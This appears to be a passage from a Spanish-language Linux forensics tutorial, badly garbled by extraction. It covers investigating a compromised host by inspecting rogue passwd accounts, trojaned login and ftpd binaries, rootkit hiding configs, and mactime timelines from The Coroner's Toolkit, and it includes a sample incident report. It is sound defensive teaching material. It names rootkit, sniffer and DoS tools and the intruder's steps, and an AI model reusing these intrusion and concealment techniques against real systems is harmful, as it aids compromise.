Recuerde que si el disco era el uacutenico dispositivo IDE utilizado en el sistema pueda posiblemente ser master en elprimer controlador o devhda Por eso el fichero fstab los muestra de tal forma y no como devhdd como aparecen ennuestro sistema de anaacutelisis Por lo tanto para que podamos montar la particioacuten home necesitamos utilizar devhdd4

16

Ejemplo

umount mnt mount -r devhdd4 mnt ls -lat mnttotal 21drwx------ 47 user1 user1 3072 Apr 28 1152 user1drwx------ 10 user3 user3 1024 Dec 3 1419 user3drwx------ 4 user2 user2 1024 Oct 14 1999 user2drwxr-xr-x 2 root root 12288 Oct 1 1999 lost+founddrwxr-xr-x 2 root nobody 1024 Apr 15 1999 sambadrwxr-xr-x 5 root root 1024 Apr 7 1999 httpddrwxr-xr-x 6 root root 1024 Mar 21 1999 ftpdrwxr-xr-x 30 root root 1024 Aug 2 1998 local

Ahora podemos ver el contenido de la particioacuten home montado sobre mnt Vamos por ahora ignorar el contenidode la particioacuten home ya que ninguacuten fichero de sistema operativo se encuentra alliacute En futuro podemos examinarsu contenido para detectar alguacuten indicio de back-door como aplicaciones setuidsetgid ficheros rhosts comandosantildeadidos a los ficheros de inicializacioacuten de shell (cshrc bashrc etc) que pueden enviar una copia de fichero quecontiene passwords a una direccioacuten borrar fichero similares

Ahora vamos a re-montar en solo lectura el sistema de ficheros root y empecemos a investigar

Ejemplo

umount mnt mount -r devhdd2 mnt

Primero verifiquemos que es lo que contiene el fichero etcpasswd para ver que UIDGIDs hay dentro Este ficherodebe ser copiado y utilizado con la aplicacioacuten mactime del suite de herramientas The Coronerrsquos Toolkit [13] Laaplicacioacuten nos mostraraacute el mapeo correcto de UIDs y GIDs

El fichero puede contener cuentas creadas por los intrusos como por ejemplo aquiacute

less mntetcpasswd

rootx00rootrootbinbashbinx11binbindaemonx22daemonsbinadmx34admvaradmlpx47lpvarspoollpd

17

syncx50syncsbinbinsyncshutdownx60shutdownsbinsbinshutdownzx00binbashhaltx70haltsbinsbinhaltmailx812mailvarspoolmailnewsx913newsvarspoolnewsuucpx1014uucpvarspooluucpoperatorx110operatorrootr00tx598500binbashgamesx12100gamesusrgamesyx900100tmpbinbashgopherx1330gopherusrlibgopher-dataftpx1450FTP Userhomeftpnobodyx9999Nobodygdmx4242homegdmbinbashxfsx100233X Font ServeretcX11fsbinfalseuser1x500500User 1homeuser1bintcshuser2x501501User 2homeuser2bintcshuser3x502502User 3homeuser3bintcshnamedx2525Namedvarnamedbinfalse

En el ejemplo anterior podemos observar que hay cuentas que parecen totalmente fuera de lugar ya que tienen nuacutemerosUID elevados y sin orden aparente por ejemplo r00t y (que por cierto tiene asignado como $HOME el directoriotmp) Un fichero de passwd legiacutetimo y creado por el sistema normalmente sigue un patroacuten secuencial de asignacioacutende UIDrsquos Mientras aquiacute anotamos que las cuentas con UIDs de orden bajo como reciente mente antildeadidos namedcon UID 25 y z con UID 0 y GID 0 (lo mismo que root) son altamente sospechosos por su posicioacuten Hemos tomadonota para volver luego y investigar maacutes en detalle Intente de forma opcional extraer las contrasentildeas de esos usuariosen formato cifrado y intentar ripearlos (hay muchas posibilidades de que los intrusos tengan la misma contrasentildea enla maacutequina atacada y en suya propia) Tambieacuten apunte algunas conclusiones a las que hemos llegado ahora

1Creacioacuten de cuentas es una accioacuten frecuente y creadas de tal manera como hemos visto anteriormente muestranun nivel de conocimientos bajo del intruso

2Tambieacuten podemos suponer que los intrusos ya han observado que el administrador no realiza verificaciones deseguridad rutinarias y no temen ser descubiertos

3Puede ser que sea un entretenimiento para los intrusos crear cuentas para que el administrador las encuentre laselimine y asume que el sistema estaacute seguro mientras que hay muacuteltiples puertas traseras instaladas que permitencompromiso root de la maacutequina

4Como normalmente las cuentas se crean de forma secuencial en el fichero etcpasswd puede que el administrador(o alguien maacutes) haya instalado named en el sistema de forma reciente (o el intruso haya instalado una versioacutende named vulnerable)

18

Debe empezar a construir una liacutenea temporal para anotar cuando han ocurrido los hechos intentar trazar de formainversa todos los acciones hasta el intento de entrada al sistema y el punto de origen de entrada Aprovechando todoslos hechos acumulados al final podremos determinar el origen verdadero del atacante y los sistemas utilizados paraatacar a la maacutequina

En este momento nos encontramos en la fase de observacioacuten ahora estamos tomando notas de lo que pasoacute hemosverificado que tenemos el contenido de disco duro intacto disponemos de tres copias del disco duro y las estamosestudiando en modo solo lectura

Desde aquiacute el anaacutelisis puede ser continuado usando herramientas comunes de Unix yo herramientas especialmentedisentildeados para anaacutelisis forense Tambieacuten debemos utilizar toda nuestra experiencia anterior y el sentido comuacuten

7 Anaacutelisis con Herramientas Estaacutendar de UnixAsumiendo que nuestras herramientas de Unix estaacuten limpias de root-kit podemos seguir desde el punto donde lodejamos en la seccioacuten anterior Hemos notado que las dos cuentas y y z tienen el directorio home situado en entmp y en respectivamente Eso significa que debemos examinar de forma detenida estos directorios para detectarcualquier anomaliacutea

ls -lat mnttmptotal 156drwxrwxrwt 6 root root 1024 May 1 0403 -r--r--r-- 1 root gdm 11 Apr 29 1417 X0-lockdrwxrwxrwt 2 root gdm 1024 Apr 29 1417 X11-unixdrwxrwxrwt 2 xfs xfs 1024 Apr 29 1417 font-unixdrwxr-xr-x 25 y root 1024 Apr 28 2347 drwx------ 2 user1 user1 1024 Apr 26 1736 kfm-cache-500-rw-rw-r-- 1 user1 user1 12288 Apr 26 1637 psdevtabdrwxrwxrwt 2 root root 1024 Apr 21 1112 ICE-unix-rwx------ 1 root root 138520 Apr 20 2015 fileMFpmnk

El listado nos muestra que existe un fichero cuyo tamantildeo es superior al resto Tambieacuten vemos que es el fichero maacutesantiguo de la carpeta que pertenece al root El nombre del fichero no estandarizado y posee derechos de ejecucioacutenDebemos determinar de que tipo de fichero se trata El programa file nos informa que el fichero misterioso es unbinario ELF de 32-bit LSB ejecutable Intel 80386 versioacuten 1 (Linux) enlazado estaacuteticamente stripeado Para ver cuales el objetivo del fichero examinamos el listado de cadenas de texto que contiene

1strings - mnttmpfileMFpmnk

19

libld-linuxso2__gmon_start__libpamso0_DYNAMIC_GLOBAL_OFFSET_TABLE_pam_set_itemfree__ctype_tolowermallocstrcmppam_endpam_start

FileCompressedBlockStream[nowhere yet]ftpdaAvdlLiopPqQrsStTuwWXbad value for -uoption -c requires an argumentunknown option -c ignored

VirtualFTP Connect to s [s]bannerlogfileemailvarlogxferlogconnection refused (server shut down) from ss FTP server shut down -- please try again laterlslongbinls -lalsshortlsplainbinlsgreetingfulltersebriefs FTP server (s) readys FTP server readyFTP server ready

FTP LOGIN REFUSED (already logged in as s) FROM s s

20

Already logged inetcftphostsFTP LOGIN REFUSED (name in s) FROM s sanonymousFTP LOGIN REFUSED (anonymous ftp denied on default server) FROM s sFTP LOGIN REFUSED (ftp in denied-uid) FROM s setcftpusers

Por lo que vemos strings nos comenta que el binario es un servidor FTP normalmente llamado ftpd oacute inftpd Puedeser que el fichero forma parte de un root-kit o de un caballo de Troya Los ficheros de configuracioacuten de este tipode kits suelen normalmente encontrarse en el directorio dev entonces una buacutesqueda raacutepida en ese directorio podraacutedesvelar nos mucha informacioacuten uacutetil

cd mntdev ls -lat | head -30total 116drwxr-xr-x 8 root root 34816 Apr 30 0402 srw-rw-rw- 1 root root 0 Apr 30 0402 logcrw------- 1 root root 4 1 Apr 29 1417 tty1crw------- 1 root root 4 2 Apr 29 1417 tty2crw------- 1 root root 4 3 Apr 29 1417 tty3crw------- 1 root root 4 4 Apr 29 1417 tty4crw------- 1 root root 4 5 Apr 29 1417 tty5crw------- 1 root root 4 6 Apr 29 1417 tty6srwxrwxrwx 1 root root 0 Apr 29 1417 gpmctlsrw------- 1 root root 0 Apr 29 1417 printercrw-r--r-- 1 root root 1 9 Apr 29 1417 urandomprw------- 1 root root 0 Apr 29 1414 initctldrwxr-xr-x 25 y root 1024 Apr 28 2347 crw-rw-rw- 1 root tty 3 2 Apr 28 1144 ttyp2crw-rw-rw- 1 root tty 3 0 Apr 28 1143 ttyp0crw-rw-rw- 1 root tty 3 1 Apr 28 1143 ttyp1-rw-r--r-- 1 root root 18 Apr 27 2258 ptypdrwxr-xr-x 4 r00t root 1024 Apr 27 2258 crw-rw-rw- 1 root tty 3 4 Apr 27 1202 ttyp4crw-rw-rw- 1 root tty 3 3 Apr 27 1156 ttyp3crw------- 1 root root 5 1 Apr 21 1109 consolelrwxrwxrwx 1 root root 5 Apr 21 0402 mouse -gt psauxdrwxr-xr-x 2 root root 1024 Apr 20 1521 rev0-rw-r--r-- 1 root root 33 Apr 20 1521 ptyrlrwxrwxrwx 1 root root 9 Feb 28 0223 isdnctrl -gt isdnctrl0lrwxrwxrwx 1 root root 5 Feb 28 0223 nftape -gt nrft0lrwxrwxrwx 1 root root 3 Feb 28 0223 fb -gt fb0

21

lrwxrwxrwx 1 root root 15 Feb 28 0223 fd -gt procselffdlrwxrwxrwx 1 root root 4 Feb 28 0223 ftape -gt rft0Broken pipe

De todos los ficheros que podemos ver en este directorio nos llaman atencioacuten los archivos ptyp y ptyr que noson dispositivos comunes ni directorios ni tampoco enlaces simboacutelicos son ficheros de tipo ASCII text Tambieacutenlocalizamos un directorio llamado rev0 y una carpeta oculta que pertenece al usuario r00t

less ptyr

spplslicessynk4rev0bc1snif

Son ficheros de configuracioacuten de un caballo de Troya El contenido muestra que ls ocultaraacute ficheros o directorios spplslice (un cliente DoS) ssynk4 (cliente DoS) rev0 bc1 y snif (adivina que puede ser )

Si estamos seguros que nuestro sistema no estaacute infectado con un root-kit podemos utilizar las herramientas find ygrep para identificar doacutende se encuentran estos ficheros (el disco estaacute montado como solo lectura nodev iquestverdad)

cd mnt

find -ls | grep -f etcptyr282058 1 drwxr-xr-x 2 root root 1024 Apr 20 1521 devrev0282059 1 -rw-r--r-- 1 root root 5 Apr 20 1521 devrev0sniffpid

282061 20 -rw-r--r-- 1 root root 19654 Apr 20 2023 devrev0tcplog164753 9 -rwxr-xr-x 1 1080 users 9106 Sep 20 1999 devrev0slice164754 8 -rwxr-xr-x 1 1080 users 8174 Sep 20 1999 devrev0smurf4164755 8 -rwxr-xr-x 1 1080 users 7229 Sep 20 1999 devrev0snif164756 4 -rwxr-xr-x 1 1080 users 4060 Mar 5 1999 devrev0sppl164770 9 -rwxr-xr-x 1 root 1000 8268 Aug 10 1999 devblitznetslice2

61907 2 -rwxr-xr-x 1 root root 2006 Mar 29 1999 usrbinsliceprint

255230 1 -rw-r--r-- 1 root root 900 Mar 21 1999 usrincludepython15sliceobjecth

22

Algunos de los ficheros que estaacuten en la lista posiblemente son ficheros legiacutetimos del sistema operativo pero hayalgunos que son bastante sospechosos los que se encuentran en dos carpetas del directorio dev

cd mntdev less ptyp

3 egg3 egg3 bnc

En este momento podemos hacer una apuesta seguro que el fichero ptyp es un fichero de configuracioacuten de la utilidadps del root-kit que oculta los procesos que contienen cadenas egg bnc en sus nombres Hay que encontrarbinarios ejecutables con estos nombres

cd mntdev ls -lR total 2699drwxr-sr-x 2 root 1000 1024 Aug 10 1999 blitznet-rw-r--r-- 1 root root 30720 Apr 26 0407 blitznettar-rwxrw-r-- 1 r00t user1 22360 Apr 27 2258 bnc-rw-r--r-- 1 900 users 2693120 Apr 20 2218 collisiontar-rw-rw-r-- 1 r00t user1 976 Apr 27 2258 exampleconf-rw-rw-r-- 1 user1 user1 5 Apr 28 2035 pidbnc

blitznettotal 22-rw-r--r-- 1 root 1000 3450 Aug 10 1999 README-rw-r--r-- 1 root 1000 1333 Aug 10 1999 blitzc-rw-r--r-- 1 root 1000 3643 Aug 10 1999 blitzdc-rwxr-xr-x 1 root 1000 2258 Aug 10 1999 rushtcl-rwxr-xr-x 1 root 1000 8268 Aug 10 1999 slice2

ls -lR rev0rev0total 51

23

-rwxr-xr-x 1 1080 users 9106 Sep 20 1999 slice-rwxr-xr-x 1 1080 users 8174 Sep 20 1999 smurf4-rwxr-xr-x 1 1080 users 7229 Sep 20 1999 snif-rw-r--r-- 1 root root 5 Apr 20 1521 sniffpid-rwxr-xr-x 1 1080 users 4060 Mar 5 1999 sppl-rw-r--r-- 1 root root 19654 Apr 20 2023 tcplog

cd mntusrbin ls -lat | headtotal 89379drwxr-xr-x 6 root root 27648 Apr 21 0401 -rwsr-xr-x 1 root root 20164 Apr 15 1923 chxlrwxrwxrwx 1 root root 8 Feb 28 0228 netscape-navigator -gt netscapedrwxrwxr-x 2 news news 1024 Feb 28 0225 rnewslibexecdrwxrwxr-x 2 news news 1024 Feb 28 0225 controldrwxrwxr-x 2 news news 1024 Feb 28 0225 filterlrwxrwxrwx 1 root root 4 Dec 30 1306 elatex -gt etexlrwxrwxrwx 1 root root 5 Dec 30 1306 lambda -gt omegalrwxrwxrwx 1 root root 3 Dec 30 1306 latex -gt texBroken pipe

strings - chxlibld-linuxso2__gmon_start__libcryptso1libpamso0

varlogbtmpusrsharelocaleutil-linuxfhplogin -h for super-user onlyusage login [-fp] [username]devttysdevvcsdevvcsaloginlogin PAM Failure aborting sCouldnrsquot initialize PAM sFAILED LOGIN d FROM s FOR s sLogin incorrectTOO MANY LOGIN TRIES (d) FROM s FOR s s

24

FAILED LOGIN SESSION FROM s FOR s sLogin incorrecthushloginssvarrunutmpvarlogwtmpbinshTERMdumbHOMEusrlocalbinbinusrbinPATHsbinbinusrsbinusrbinSHELLvarspoolmailMAILLOGNAMEDIALUP AT s BY sROOT LOGIN ON s FROM sROOT LOGIN ON sLOGIN ON s BY s FROM sLOGIN ON s BY sYou have smailnewlogin failure forking ssetuid() failedNo directory sLogging in with home = login no memory for shell scriptexeclogin couldnrsquot exec shell script slogin no shell ss loginlogin name much too longNAME too longlogin names may not start with rsquo-rsquotoo many bare linefeedsEXCESSIVE linefeedsLogin timed out after d secondsetcsecurettyetcmotdvarloglastlogLast login sfrom son sLOGIN FAILURE FROM s s

25

LOGIN FAILURE ON s sd LOGIN FAILURES FROM s sd LOGIN FAILURES ON s s

El programa nos muestra los mensajes del sistema mencionando el fichero hushlogin Todos los indicios apuntanque el binario es una versioacuten modificada de de la aplicacioacuten login Siempre Los binarios siempre incluyen informacioacutende objetos compilados y enlazados salvo que esteacuten stripeados Si estaacute presente esa informacioacuten podemos examinarlacon la utilidad nm

nm chxchx no symbols

En este caso estamos seguros que el fichero estaacute stripeado Tambieacuten podemos aprender bastante de lo que nos muestranlos enlaces a las libreriacuteas dinaacutemicas Para verlo utilicemos ldd

ldd chxlibcryptso1 =gt liblibcryptso1 (0x40018000)libpamso0 =gt liblibpamso0 (0x40045000)libdlso2 =gt liblibdlso2 (0x4004d000)libpam_miscso0 =gt liblibpam_miscso0 (0x40050000)libcso6 =gt liblibcso6 (0x40054000)libld-linuxso2 =gt libld-linuxso2 (0x40000000)

El binario depende del moacutedulo PAM y de las libreriacuteas criptograacuteficas Entonces el binario efectuacutea algunas tareas deautenticacioacuten de usuarios El binario parece ser el binlogin modificado que pertenece a alguacuten caballo de Troya

Normalmente los intrusos no dejan huellas evidentes que nos permiten encontrar ficheros y directorios El ejemploanterior nos ha probado que utilizando herramientas baacutesicas podemos reunir bastante informacioacuten

En caso de que no sea tan sencillo se deberaacute utilizar herramientas maacutes complejas y eficaces Para ver alguacuten ejemplocomplejo podemos ver referencias [14 15]

8 The Coronerrsquos ToolkitThe Coronerrsquos Toolkit (o el TCT) es un suite de aplicaciones escritas por Dan Farmer y Wietse Venema para uncurso organizado por IBM sobre un estudio forense de equipos comprometidos

Las aplicaciones maacutes importantes del suite son

26

bull grave-robber - Una utilidad para capturar informacioacuten sobre inodes para luego pueda ser procesada por elprograma mactime del mismo toolkit

bull unrm y lazarus - Herramientas para la recuperacioacuten de archivos borrados (logs RAM swap etc) Estasaplicaciones identifican y recuperan la informacioacuten oculta en los sectores del disco duro

bull mactime - El programa para visualizar los ficherosdirectorios su timestamp MAC (Modification Access yChange)

De todas esas herramientas las maacutes uacutetiles y interesantes son grave-robber y mactime unrm y lazarus son buenas si setiene mucho tiempo y espacio libre en el disco ya que el programa necesita identificar informacioacuten en los sectores deldisco para recuperar los ficheros (logs fuentes etc) borrados por los intrusos

La funcioacuten maacutes baacutesica de grave-robber es de escanear algunas o todas sistemas de ficheros con funcioacuten stat() paraobtener informacioacuten de los inodes Grave-robber crea en la carpeta data un directorio llamado como el nombredel host de la maacutequina y alliacute almacena los inodes dentro del fichero body El programa mactime luego ordena losresultados y los muestra seguacuten el tiempo cual de los tres timestamps corresponde muestra el tipo de fichero tamantildeoy a quieacuten pertenece junto con el path

Desde el listado podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intrusolos intrusos duranteel tiempo que estuvieron dentro del sistema Eso puede incluir instalacioacuten de caballos de Troya backdoors sustitucioacutende ficheros legiacutetimos del sistema operativo descarga de herramientas modificacioacuten de las libreriacuteas del sistema oinstalacioacuten de rpmrsquosdebrsquospkgrsquos etc Tambieacuten podemos ver desde aquiacute la creacioacuten de directorios ocultos ejecucioacutende los comandos de sistema operativo compilacioacuten y ejecucioacuten de aplicaciones Toda esa informacioacuten que nunca sealmacena de forma directa puede ser extraiacuteda de la informacioacuten que da mactime

9 Usando TCTAhora paso por paso intentaremos instalar la aplicacioacuten The Coroners Toolkit que nos serviraacute para recoger lainformacioacuten sobre el sistema de ficheros y analizarla La herramienta no es un ejecutable que realiza todas las tareassino es una coleccioacuten de utilidades disentildeadas para efectuar una tarea determinada siendo importante entender elfuncionamiento de cada una de ellas para poder entender la funcioacuten del toolkit en su totalidad

bull El primer paso es de desempaquetar el archivo tct-109targz y copiarlo al directorio usrlocaltct-109 luegodebemos leer detenidamente el fichero de instrucciones de instalacioacuten INSTALL

La instalacioacuten de la aplicacioacuten debe ser realizada en una particioacuten donde haya mucho espacio ya que algunasaplicaciones suelen generar una cantidad grande de informacioacuten de salida por ejemplo unrm y lazarus

bull Ahora reconfiguremos los scripts utilizando perl reconfig ya que TCT utiliza rutas completas

27

bull Limpiamos bien la distribucioacuten con un make clean make all

bull Leemos documentacioacuten del directorio docs para conocer los detalles de funcionamiento del Toolkit

1 ls -l docs

total 34-rw-r--r-- 1 root root 8572 Mar 28 1241 README-rw-r--r-- 1 root root 7162 Mar 28 1239 grave-robberREADME-rw-r--r-- 1 root root 13944 Jan 16 1334 lazarusREADME-rw-r--r-- 1 root root 2830 Mar 27 1507 macREADME

bull Montamos la particioacuten que debemos analizar en modo solo lectura y nodev bajo alguacuten punto de montura

mount -r devhdd2 mnt

bull Suponiendo que siendo root arrancamos la aplicacioacuten grave-robber para que empiece a analizar el sistema de fiche-ros y procesos y guardar los datos de los inodes en el fichero dataactivalinkcombase y dataactivalinkcombaseS(binarios sUID) el estado del sistema en el directorio dataactivalinkcomcommand_out etc

bingrave-robber -m mnt

Grave-robber inicialmente realizaraacute un anaacutelisis de todas las carpetas que estaacuten en el $PATH y a continuacioacuten empezaraacutea analizar la particioacuten montada mnt El anaacutelisis suele tardar bastante tiempo seguacuten el tamantildeo de la particioacuten quequeremos analizar Aparte de los inodes se guarda el estado general del sistema es decir el output de las herramientasde monitorizacioacuten del sistema como ps top w etc

bull Una vez terminado el trabajo del grave-robber copiamos los ficheros passwd y group del sistema comprometidoal directorio tct-109 para que los tengamos a mano ya que en breve estaremos analizaacutendolos Para que se puedadistinguirlos luego renombramos estos ficheros passwdvictim o utilicemos el nombre del host comprometido

bull Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que laactividad del intruso ha acabado hoy pero no vamos a especificar hora) Necesitaremos pasar los resultados deejecucioacuten de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad

28

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

